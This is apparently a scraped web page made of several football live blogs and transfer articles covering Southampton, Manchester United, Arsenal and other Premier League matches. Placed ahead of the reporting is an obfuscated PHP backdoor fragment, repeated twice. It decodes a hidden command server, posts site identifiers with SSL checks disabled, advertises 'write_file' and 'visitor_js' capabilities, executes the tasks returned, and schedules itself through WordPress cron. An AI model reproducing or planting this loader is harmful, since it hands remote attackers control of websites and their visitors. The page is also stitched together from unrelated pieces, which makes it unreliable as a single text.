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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Southampton vs Manchester United: Premier League LIVE score, goals and updates

SOUTHAMPTON 2-0 MANCHESTER UNITED | ARMSTRONG (12), CEDRIC (19)

Southampton XI: McCarthy, Cedric, Yoshida, Vestergaard, Stephens, Lemina, Valery, Redmond, Hojberg, Armstrong, Obafemi

Manchester United XI: De Gea, Young, Jones, McTominay, Shaw, Pogba, Matic, Herrera, Rashford, Lukaku , Fellaini

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  • Michael Obafemi makes Premier League debut
  • Stuart Armstrong opens the scoring with thunderous finish
  • Cedric doubles lead with fine free-kick

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25: Big chance for United to pull one back as Ashley Young delivers a superb cross from the right that Scott McTominay heads over from inside the six-yard box.

23: Right… sorry I can’t really believe the start Southampton have made. Jose Mourinho has spent £400m on this side – anyone know what he’s got for his money?

SOUTHAMPTON 2-0 MANCHESTER UNITED | CEDRIC

20: Oh my word – you simply can’t hit a free-kick any better than that!

Full-back Cedric scores on his 100th appearance for Southampton with a sumptuous free-kick that flies over the wall and perfectly into the top left-hand corner.

Scott McTominay decided to kneel behind the wall to stop Cedric from shooting low, but he was about as much use a a blow-up dartboard.

19: How’s the Manchester United response been? I’ll tell you when I see it. Southampton are the ones on the attack with Cedric and Redmond standing over a free-kick about 20-yards from goal.

United have virtually everyone in the wall.

16: So how long before Liverpool come sniffing around Michael Obafemi? I expect to see rumours before Christmas eve. I’ll set up a sweepstake later.

SOUTHAMPTON 1-0 MANCHESTER UNITED | ARMSTRONG

13: It’s a bonafide stonker from Stuart Armstrong folks! United simply aren’t at the races and have been punished for a woeful lack of organisation at the back.

The Scottish international scores his third goal in seven days after Nathan Redmond feeds 18-year-old Michael Obafemi, who keeps his composure to flick the ball over to Armstrong to power underneath David de Gea.

Mark Hughes given the perfect start, although you wouldn’t have guessed it judging by his expression.

10: Manchester United have enjoyed 65 percent possession but they’ve found it difficult to cause Southampton any real problems.

8: Southampton’s bright young thing Michael Obafemi makes his Premier League debut tonight having impressed against Leicester. Early impressions are that he’s rapid and not afraid to shoot from anywhere.

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

5: What?! I don’t believe what I’ve just witnessed.

Alex McCarthy goes to clear a routine backpass but completely misses the ball. Marcus Rashford keeps it from rolling out of play with a bizarrely nonchalant back-heel to nobody at all. Somehow Romelu Lukaku collects and his low shot is blocked before Saints eventually boot it into space.

Definitely a passage you’ll see on ‘the 100 worst goalkeeping blunders’ over Christmas.

3: Southampton free-kick to start us off but Fellaini rises highest to head clear. He simply cannot stop endearing himself to Mourinho. Very Maradona-esque, right Jose?

SOUTHAMPTON 0-0 MANCHESTER UNITED

1: Right then, we’re underway. I’ll be honest with you – I’ve not been looking forward to tonight’s match. United were dreadful in Europe during the week and Saints weren’t much better in the anonymous Carabao Cup clash with Leicester. Fingers crossed I’m completely wrong.

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

The starting XI…

17:25: Quick reminder for y’all.

Southampton XI: McCarthy, Yoshida, Vestergaard, Stephens, Valery, Hojbjerg, Lemina, Armstrong, Cedric, Redmond, Obafemi.

Subs: Hoedt, Davis, Austin, Romeu, Ward-Prowse, Gabbiadini, Gunn.

Manchester United XI: de Gea, Young, McTominay, Jones, Shaw, Matic, Ander Herrera, Fellaini, Pogba, Lukaku, Rashford.

Subs: Mata, Martial, Lingard, Rojo, Fred, Dalot, Romero.

Referee: Kevin Friend

Lights show

17:20: Impressive lights display at St Mary’s this evening. I mean, even if the football is terrible then that was well worth admission price.

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

Twitter round-up

Edward: I’m convinced all Manchester United players do during training is wrestle each other rather than actually train. We see no improvement on the pitch whatsoever on match days and all these players are picking up random injuries when some hardly ever start games.

Zee: Shocking shocking line up. Four defensive midfielders. Don’t want to be negative but we’re playing the worst team in the league…

Chris: Our line up today gives me the jitters…. Hoping a performance proves me wrong but I’ve a bad feeling about this game.

Matic or Vidic

17:10:  “I would like to have Nemanja Vidic but no Vidic, only Nemanja Matic and he is a midfield player,” Jose Mourinho explains to BT Sport.

I suspect there are quite a few Manchester United supporters saying the same thing.

Be positive

17:05: Easier said than done, Mark.

Mark Hughes has challenged his team to “be versatile” as they look to kickstart their season with a positive result against Manchester United.

The Saints boss believes keeping an open mind on how to approach each game will prove key as the former United striker prepares to tackle one of his old clubs, themselves not in the most consistent form.

“We looked at a different thing (against Leicester) – different in terms of formation, going back to three at the back,” said Hughes.

“That will have positives in games, and sometimes there’s negatives in any formation you go with, but it was interesting to see how the guys got back to that system and they looked very, very comfortable with it.

“I think that’s the benefit of the work we’ve done during the summer, so very quickly they understood the fundamentals of that.”

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

Alexis injury

17:00: So we need to talk about Alexis.

The Chilean forward to be sidelined for around six weeks after he injured his hamstring in training on Thursday.

“No scans yet, but the player is experienced, the player knows what the injury is,” Mourinho said. “Also from the top of my experience, just the painful scream and the way the injury happened, I know it’s going to be for a long time.

“It’s not a little muscular injury that in one week or 10 days, the player is ready.”

So… huge Christmas party round your house then, Alexis?

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

All aboard the banter bus

16:55: Vintage press conference from Jose Mourinho yesterday. Having crushed Manchester United’s transfer hopes in January – he’s somehow got the words “Marouane Fellaini” and “Maradona” in the same sentence.

Jose said Fellaini is no Maradona but he scores important goals and deserves plenty of credit.

“I think now everyone gives him what he deserves,” Mourinho said. “Everybody knows Marouane is not Diego Maradona but everybody knows what Marouane is and what he can give… this season and also last he did what strikers couldn’t do, which is score important goals in important moments.”

Fellaini has been at United since 2013, brought to the club by his former Everton boss David Moyes in a move that did not go down particularly well with fans.

Now that’s an understatement If ever I heard one…

Team news

16:50: Paul Pogba and Romelu Lukaku both return to Manchester United’s line-up as boss Jose Mourinho makes five changes for the Premier League trip to Southampton.

Ashley Young steps in as captain, with Scott McTominay and Ander Herrera starting, as United returned to league action after Tuesday’s Champions League win against Young Boys.

Saints’ academy defender Yan Valery makes his Premier League debut, with Michael Obafemi stepping in for his first league start.

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: GETTY)

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: GETTY)

Jose on transfers

16:45: Any Manchester United fans hoping for a BIG superstar name to arrive in January may be left disappointed, according to Jose.

Mourinho believes the Premier League landscape has changed to such an extent that Manchester United are no longer able to entice their rivals with big-money offers for players.

“It’s more difficult to buy players of a high, high level. The clubs are more powerful. The clubs don’t want to sell, and to sell is to go to absolutely incredible levels,” Mourinho said.

“Before the smaller clubs were almost begging big clubs, ‘Get my best players. I need to sell. Please, you are powerful. Buy my best player’. At this moment, they don’t want to sell.

“A few years ago, who was Tottenham’s best player? Michael Carrick. And a few years later, who was the best player? Berbatov. Can we go there now and bring Harry Kane? Dele Alli, (Christian) Eriksen, Son (Heung-min)? Can we go there and bring those players here? No.

“The transfer market is very difficult unless the clubs want to go to what I call crazy numbers.

“You have no chance in the market unless you go to crazy numbers, or instead you go to what you call the second level players and still have crazy numbers, but that second level is the level people say, and I agree, that’s not what Manchester United is.

“Honestly, I don’t think we are going to sign (anyone in January). If we do, I would say one player. I don’t see us going more than that.”

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: GETTY)

Twitter reaction

Josh: McDoNothing over Fred, our new £50m signing. I’m on the verge of giving up, can’t stand this anymore.

Fred: Seriously? Dalot is available but you still choose Tominay? Do you still want to stay here or what, Mou?

Sanches: This is a joke, Mctominay starts ahead of Fred & Periera, Matic at CB ahead of Rojo, Jose losing the plot.

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: REUTERS)

The starting XI…

16:30: The wait is over – here are today’s line-ups. Not 100 percent sure what to make of these sides – Nemanja Matic or Scott McTominay at centre-back?

Southampton XI: McCarthy, Yoshida, Vestergaard, Stephens, Valery, Hojbjerg, Lemina, Armstrong, Cedric, Redmond, Obafemi.

Subs: Hoedt, Davis, Austin, Romeu, Ward-Prowse, Gabbiadini, Gunn.

Manchester United XI: de Gea, Young, McTominay, Jones, Shaw, Matic, Ander Herrera, Fellaini, Pogba, Lukaku, Rashford.

Subs: Mata, Martial, Lingard, Rojo, Fred, Dalot, Romero.

Referee: Kevin Friend

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: PA)

Will Red Devils turn up heat on Hughes?

16:28: When your side are scrapping for points at the wrong end of the table, having not won in the Premier League for nine games and just gone out of the Carabao Cup on penalties at Leicester, the spotlight is always likely to be very much on your own future.

Hosting Manchester United therefore is probably not what the doctor ordered. Southampton boss Mark Hughes, though, insists talk of his position is very much “water off a ducks back” and he will meet the challenge of facing his old club head on. “It is an opportunity for us and is not one we should be apprehensive about,” he said.

Twitter round-up

Tommy: Shouldn’t be negative but in all honesty I see us getting absolutely trounced today. Romelu Lukaku will be played back into form and we won’t score. Prediction. United 4-0.

David: To have scored only 20 goals after 13 games and have a -1 goal difference is nothing short of embarrassing and has to be rectified starting today at Southampton.

Angelina: It’s MATCHDAY! We haven’t come back from international break with great performances but I’m optimistic and confident today. Let’s get those 3 points!

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Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: PA)

Afternoon…

16:20: Hello, fancy seeing you here.

Welcome to our LIVE coverage of the Premier League as Southampton host Manchester United at St Mary’s Stadium.

Hosting Manchester United therefore is probably not what the doctor ordered for Mark Hughes.

Southampton have not managed a league win since September 1 and are currently joint-bottom alongside Fulham.

“It is an opportunity for us and is not one we should be apprehensive about,” said Sparky.

I’m sure we’ll find out if his players are equally confident very soon. Time for some team news and line-ups I think.

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Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: GETTY)

Southampton vs Manchester United: Premier League LIVE score, goals and updates

Southampton vs Manchester United: Premier League LIVE score, goals and updates (Image: GETTY)

SOUTHAMPTON vs MANCHESTER UNITED

Southampton will again be without forward Danny Ings due to a hamstring problem. Ryan Bertrand is struggling with a back issue which has kept him out of full training, while Shane Long continues treatment on his ankle injury.

Manchester United will be without Alexis Sanchez and Victor Lindelof. Sanchez is set to be sidelined for around six weeks after injuring his hamstring in training, while Lindelof joins fellow defenders Marcos Rojo and Matteo Darmian on the sidelines with a muscular injury that could keep him out for three weeks.

Last season: Man Utd 0 Southampton 0, Southampton 0 Man Utd 1

Last five league matches: Southampton D D L D L; Man Utd D W W L D

Top scorers: Danny Ings (Southampton) 5; Anthony Martial (Man Utd) 7

Referee: Kevin Friend (Leicestershire)

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Premier League LIVE scores: Everton, Newcastle and Southampton in action

Burnley 0-0 Brighton, Crystal Palace 2-0 Leicester, Huddersfield 0-1 Everton, Newcastle 0-1 West Brom, Southampton 2-1 Bournemouth

CRYSTAL PALACE 2-0 LEICESTER – RED CARD

60: Things go from bad to worse for Leicester as Marc Albrighton is given his marching orders for tugging Wilfried Zaha down. Mike Dean felt it was a clear goalscoring opportunity, but I’m not so sure.

SOUTHAMPTON 2-1 BOURNEMOUTH – TADIC

54: Bosh! No messing around from Dusan Tadic. The Serbia midfielder collects the ball before driving forward and a left-footed toe-poke puts Saints ahead.

SOUTHAMPTON 1-1 BOURNEMOUTH – KING

45: What a familiar sight. Southampton have squandered another lead. It’s terrible marking from a Bournemouth corner and Josh King fires in from a tight angle at the far post to level.

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Premier League LIVE scores: Everton, Newcastle and Southampton in action

HUDDERSFIELD 0-1 EVERTON – TOSUN

39: Having been under the cosh for most of the match, Everton have taken the lead on the break!

Cenk Tosun races on to Theo Walcott’s through ball and fires low into the bottom corner. Great finish.

CRYSTAL PALACE 2-0 LEICESTER – MCARTHUR

38: That should be the goal that secures Crystal Palace their Premier league survival. Roles reverse for the hosts, with James McArthur spinning on the spot to fire home from a Wilfried Zaha pass.

NEWCASTLE 0-1 WEST BROM – PHILLIPS

29: Why oh why wasn’t Darren Moore in charge earlier?!

The Baggies draw first blood at St James’ Park courtesy of Matt Phillips, who smashes home the opening goal after picking up a great through ball from Jake Livermore.

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Premier League LIVE scores: Everton, Newcastle and Southampton in action

SOUTHAMPTON 1-0 BOURNEMOUTH – TADIC

25: How BIG could that be?

Southampton have given themselves a real shot at survival if they can protect Dusan Tadic’s opener.

Mario Lemina sends Tadic clear and the Serb slots home with ease.

CRYSTAL PALACE 1-0 LEICESTER – ZAHA

17: And there’s our opening goal of the afternoon. It’s been frantic at Selhurst Park and that’s played to Crystal Palace’s advantage.

Wilfried Zaha puts the hosts ahead with a fierce strike from inside the area, following a neat layoff from James McArthur.

AND WE’RE OFF!

1: We are underway in the five Premier League fixtures of the afternoon. Fingers crossed we’ll get a few more goals than we saw at Anfield earlier today.

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Premier League LIVE scores: Everton, Newcastle and Southampton in action

BURNLEY vs BRIGHTON

Burnley: Pope, Lowton, Long, Tarkowski, Ward, Lennon, Cork, Westwood, Gudmundsson, Wood, Barnes.

Subs: Heaton, Taylor, Nkoudou, Vokes, Hendrick, Wells, Bardsley.

Brighton: Ryan, Saltor, Duffy, Dunk, Bong, Gross, Kayal, Stephens, Izquierdo, Ulloa, Knockaert.

Subs: Murray, Goldson, March, Schelotto, Locadia, Krul, Suttner.

CRYSTAL PALACE vs LEICESTER

Crystal Palace: Hennessey, Ward, Tomkins, Sakho, Van Aanholt, McArthur, Milivojevic, Cabaye, Loftus-Cheek, Townsend, Zaha.

Subs: Speroni, Sorloth, Lee, Schlupp, Benteke, Wan Bissaka, Kelly.

Leicester: Hamer, Albrighton, Maguire, Morgan, Chilwell, Mahrez, Choudhury, Ndidi, Gray, Iheanacho, Vardy.

Subs: Simpson, Adrien Silva, Dragovic, Jakupovic, Fuchs, Barnes, Diabate.

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Premier League LIVE scores: Everton, Newcastle and Southampton in action

HUDDERSFIELD vs EVERTON

Huddersfield: Lossl, Hadergjonaj, Jorgensen, Schindler, Kongolo, Hogg, Mooy, Quaner, Pritchard, van La Parra, Mounie.

Subs: Smith, Malone, Billing, Coleman, Lowe, Depoitre, Stankovic.

Everton: Pickford, Coleman, Keane, Jagielka, Baines, Gueye, Schneiderlin, Rooney, Walcott, Tosun, Vlasic.

Subs: Bolasie, Martina, Niasse, Funes Mori, Davies, Robles, Baningime.

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NEWCASTLE vs WEST BROM

Newcastle: Dubravka, Yedlin, Lascelles, Lejeune, Dummett, Ritchie, Shelvey, Diame, Kenedy, Perez, Gayle.

Subs: Clark, Murphy, Slimani, Hayden, Manquillo, Joselu, Darlow.

West Brom: Foster, Nyom, Dawson, Hegazi, Gibbs, Phillips, Livermore, Brunt, McClean, Rodriguez, Rondon.

Subs: Robson-Kanu, Yacob, Evans, Myhill, Sturridge, Burke, Krychowiak.

SOUTHAMPTON vs BOURNEMOUTH

Southampton: McCarthy, Cedric, Yoshida, Hoedt, Bertrand, Tadic, Romeu, Lemina, Bednarek, Austin, Redmond.

Subs: Ward-Prowse, Gabbiadini, Sims, Forster, Stephens, Long, Hojbjerg.

Bournemouth: Begovic, Francis, Steve Cook, Ake, Daniels, Mousset, Gosling, Lewis Cook, Fraser, Callum Wilson, King.

Subs: Boruc, Surman, Pugh, Brad Smith, Mings, Ibe, Defoe.

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ARSENAL vs SOUTHAMPTON

Mark Hughes takes his Southampton side to the Emirates Stadium looking to secure a valuable three points in the fight to avoid relegation.

The Saints are languishing in the relegation zone, three points away from safety but with two crucial games in-hand on 17th-placed Crystal Palace.

However, this isn’t a dead-rubber for Arsenal.

The Gunners might be pinning their hopes on winning the Europa League to gain entry to the Champions League, but an unlikely challenge from Burnley means Arsene Wenger’s team need maximum points to secure a top-six finish.

ARE YOU NOT ENTERTAINED?

13:40: Yes I’m dropping Gladiator references in on a quiet Sunday afternoon.

Maximus Decimus Meridius isn’t the only entertainer around because it turns out that Arsenal have been very impressive at the Emirates Stadium this season.

The Gunners have scored 42 Premier League goals at home this season. That’s only 11 less than champions-elect Manchester City.

“If you look at our home season, people have seen good football here and I read somewhere that we were the third-best team in the league with our home results,” Arsene Wenger said.

TWITTER ROUND-UP

Sylvester: Another nightmare in offing for the Gunners; Holding is miles better than Chambers but I don’t understand why Wenger prefers the former Southampton man in defence!

Saku: Ominous! Iwobi starting… I’m having headaches so bad, it feels migraine. Still, COYG! Give me 2-0 win. More goals are welcome as well, but keep a clean sheet!

Zuku: Buzzing to see Reiss Nelson starting today. He’s gonna get a brace and a assist!

TEAM NEWS – SOUTHAMPTON

13:30: No shortage of changes in Mark Hughes’ starting XI either.

He’s made four changes from the side who were stuffed against West Ham last weekend.

Maya Yoshida, Oriel Romeu, Shane Long and James Ward-Prowse replace Maolo Gabbiadini, Nathan Redmond, Charlie Austin and Mario Lemina.

TEAM NEWS – ARSENAL

13:25: Plenty of changes for Arsene Wenger.

He’s made seven changes from the side who cruised to victory over CSKA Moscow on Thursday.

Pierre Emerick Aubameyang, Calum Chambers, Danny Welbeck, Sead Kolasinac, Alex Iwobi, Mohamed Elneny and Reiss Nelson are recalled to the starting XI.

Henrikh Mkhitaryan, Alexandre Lacazette, Mesut Ozil, Nacho Monreal, Laurent Koscielny, Jack Wilshere, and Aaron Ramsey are out.

The trio of Lacazette, Wilshere and Ozil are named among the substitutes.

ARSENAL vs SOUTHAMPTON

13:20: I think it’s fairly obvious to see where Arsene Wenger is pinning his hopes this season…

Arsenal XI: Cech, Bellerin, Mustafi, Chambers, Kolasinac, Elneny, Xhaka, Nelson, Welbeck, Iwobi, Aubameyang

Subs: Macey, Lacazette, Wilshere, Ozil, Holding, Monreal, Nketiah.

Southampton XI: McCarthy, Soares, Yoshida, Stephens, Hoedt, Bertrand, Ward-Prowse, Hojbjerg, Romeu, Tadic, Long

Subs: Forster, Austin, Boufal, Gabbiadini, Redmond, Pied, Sims.

STREAM DETAILS

Coverage of today’s Premier League game between Arsenal and Southampton will be shown live on Sky Sports Main Event (Sky channel 401, Sky HD 435, Virgin channel 511) and Sky Sports Premier League (Sky channel 402, Sky HD 436, Virgin channel 512).

The pre-match build-up starts at 13.30pm on Sky Sports Premier League and on Sky Sports Main Event before kick-off at 2.15pm.

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The Saints find themselves in real trouble of relegation following a dreadful run of results of late.

Saturday’s 3-0 hammering away to Newcastle left Southampton fans pleading with the board to take action.

And it appears the club have taken notice, relieving the Argentinian of his duties before this week’s FA Cup clash with Wigan.

A statement released by the club this hour reads, “Southampton Football Club can today confirm that it has parted company with First Team Manager Mauricio Pellegrino.

“Assistant Manager Carlos Compagnucci and Assistant First Team Coach Xavier Tamarit have also parted company with the club.

“We would like to place on record our thanks to Mauricio, Carlos and Xavier for their efforts during their time with Southampton, and wish them well for the future.

“The club will look to appoint a new management team as soon as possible, with the search for a replacement already underway.”

Following Saturday’s defeat, Pellegrino admitted that he “observed some players who gave up”.

Southampton are now looking for their fifth manager since 2013.

Despite their constant changing of managers, Southampton have not finished below 14th in the table in their last five seasons.

The club sit 17th in the Premier League, one point above the relegation zone.

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That is according to Sky Sports pundit and legendary Southampton forward Matt Le Tissier.

Southampton were one of a number of clubs linked with a move for Theo Walcott.

The England international left Saints in 2006 to join Arsenal and with his career at the Emirates clearly coming towards an end this season, the south coast club were desperate to bring him home.

However, Everton snuck in ahead of Mauricio Pellegrino’s side and signed the 28-year-old for £20million.

Le Tissier claims Walcott had made Southampton aware he was willing to rejoin the club.

But once Everton’s offer came in, there was no way his former club could match his demands.

“I’m led to believe Theo was offered probably the best package any player in Southampton’s history has been offered,” Le Tissier said.

“I think he indicated he was ready to come back. 

“But I think the offer from Everton kind of blew the offer from Southampton out the water.”

Walcott will make his Everton debut this afternoon in the Premier League clash against West Brom.

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Walcott’s old club are first in the queue to take the former England forward out of the Emirates during the January transfer window, but both Everton and Newcastle are also keen.

Saints want to negotiate a loan move, who they sold to Arsenal as a 16-year-old 12 years ago, but West Ham are now considering a similar bid as new manager David Moyes reshapes his squad.

Walcott still has a year left on his £120,000-a-week Arsenal contract, but there is general acceptance a move would be in his best interests now.

The forward is yet to start a league game this season, and has made only four substitute appearances, with all eight of his starts coming in either the Carabao Cup or the Europa League.

Walcott desperately wants first-team football and Saints, whose results have nosedived over the festive period, would look to make the move a permanent one in the summer.

They are only outside the relegation zone on goal difference after extending their winless run to nine games by losing 2-1 at home to Crystal Palace on Tuesday.

Fans are calling for Mauricio Pellegrino to be sacked just seven months after the Argentine replaced the axed Claude Puel but Shane Long, who ended an 11-month goal drought to put Saints ahead before they collapsed in the second half, said: “We know it is frustrating for the fans but we do need them now more than ever.

“It’s on the players’ heads as well. We practise well all week. We cannot put it on the manager’s head – everyone has to take a bit of the blame.

“We have got a lot of good players in the squad and a lot of players who deserve to be in the starting 11. I am sure in the future it will come good.

“I have experienced this before and so have a few other lads. We just need to pick ourselves up. Confidence is low at the moment and the sooner the win comes the better.

“When we went 1-0 up we were playing well and contained them. But in the second half they came at us. Naturally you drop off and try and hold onto your lead and that cost us.

“If you are high up the table we would just have kicked on and got three or four goals but it was in the back of our heads we needed a win and we invited them onto us.”

Despite their dismal run of form, Saints are reluctant to give Pellegrino the boot.

The former Liverpool defender has been promised funds to spend this month from Virgil van Dijk’s £75m move to Liverpool.

Arsenal outcast and ex-Saint Theo Walcott is Pellegrino’s top target and is close to agreeing a loan move back to the south coast.

Saints chairman Ralph Krueger has given his backing to Pellegrino, saying: “In no way shape or form am I angry at any one individual for what has happened here in the past months.

“We believe we can climb back up the table with the group we have. We’re a club on a long-term plan.

“From the get-go, Mauricio has completely embraced the way we operate here. The transfer that has just gone through is the end of a very difficult phase for the club.

“We feel we have a superb group of players at the club and that we’re well poised to attack the second half of the season.”

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92: Why haven’t United been playing with this urgency for the last 20 minutes?! Too little, too late for the hosts, who look like slipping 17 points behind Manchester City.

91: Stephens with a match-saving interception as Lingard prepares to pull the trigger. I thought that was it.

THREE MINUTES ADDED TIME

90: Block! Matic threads it through to Lingard, whose shot is blocked by Hoedt.

89: Nothing in the way of genuine chances folks. Lots of huffing and puffing but a lack of quality in the final third.

87: Oh boy! I’ve just seen a replay of the disallowed goal and it looks like Nemanja Matic’s hooked effort was going in without Paul Pogba’s final touch. Ouch!

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85: Another change for the visitors sees Lemina come on to replace Tadic.

83: DISALLOWED GOAL! Paul Pogba pokes home a scrappy free-kick at the back post, but the Frenchman is flagged for offside. Rightly so. Ward-Prowse picks up a yellow card for a high boot.

80: Far too easy for the visitors. Boufal has acres of space to find Tadic, who tamely strikes wide.

Jose Mourinho’s side look to have run out of steam/ideas as Pellegrino brings Gabbiadini on for Long. 

78: It’s Southampton applying the pressure now. They’ve kept the ball in United territory for a couple of minutes but Matic eventually ushers Romeu out of play.

75: Boufal clips a ball into the Manchester United box, but Long can’t keep his header down. Matic then booked for bringing down Tadic as he looked to break.

72: A few more groans as Nemanja Matic shanks a long-range drive miles over the bar. Both teams have had three shots on target, but it’s still goalless at Old Trafford.

70: Close! Ashley Young’s free-kick is inches from nestling in the top corner but a deflection sends it narrowly past the post.

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68: Fans’ prayers are answered as Jose Mourinho sends Anthony Martial on for Henrikh Mkhitaryan.

66: Not again! Mkhitaryan receives the ball on the flank and overhits a cross with his left peg for the 15th time today. “Mkhitaryan giving Bebe a run for his money in terms of his delivery today,” says someone on Twitter.

65: Manchester United fans are singing he ‘Tony Martial’ song. They want the Frenchman on the field ASAP, and I can’t blame them. Lingard now booked for a sliding tackle on Stephens.

62: Oh naughty! Ashley Young gives Dusan Tadic an elbow to the ribs during a corner. Possible retrospective action. Boufal is shown a yellow card for the visitors.

59: Another aimless cross in from the right is gathered by McCarthy. Young’s crosses have been decent enough but Lingard and Rashford aren’t getting much change from the Southampton defence.

56: Crucial touch from Yoshida to take the ball away from the lurking Matic.

54: Plenty of groans around Old Trafford as United sloppily give the ball away for the umpteenth time in three minutes. It’s just not clicking for the hosts.

51: Chance! Wow, Southampton really should have taken the lead. Matic completely loses track of Long, whose first-time shot is saved by the feet of David de Gea.

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48: Southampton have started the second half better. Lindelof manages to block a cross for a corner, and then clears the resulting set-piece himself.

MANCHESTER UNITED 0-0 SOUTHAMPTON

45: We’re back underway folks. Neither manager has made a change during the break, which is surprising given Jose Mourinho looked furious with every single mistake Henrikh Mkhitaryan made.

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Adrian: Crossing is not one of Henrikh Mkhitaryan specialities, can’t blame him for a poor performance on the flank. Get well soon Romelu Lukaku!

ROMELU LUKAKU UPDATE

HT: Romelu Lukaku left the Old Trafford pitch on a stretcher after a nasty clash of heads in the first half. 

The Belgium striker went up to contest an aerial ball with Saints defender Wesley Hoedt and came off second best as the pair inadvertently clashed.

The latest news is that Lukaku is being treated by United’s medical staff at Old Trafford, and will NOT need to go to hospital.

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MANCHESTER UNITED 0-0 SOUTHAMPTON

HT: Nothing doing folks. It’s been a largely scruffy game in all honesty with brief moments of quality. Lukaku, Lingard and Rashford have all squandered chances, while David de Gea stopped a certain goal from Ward-Prowse in the opening stages.

49: It’s been 27 matches since Shane Long scored for Southampton. Might be 28 because he’s pulled up injured. I think he’s going to see the half out.

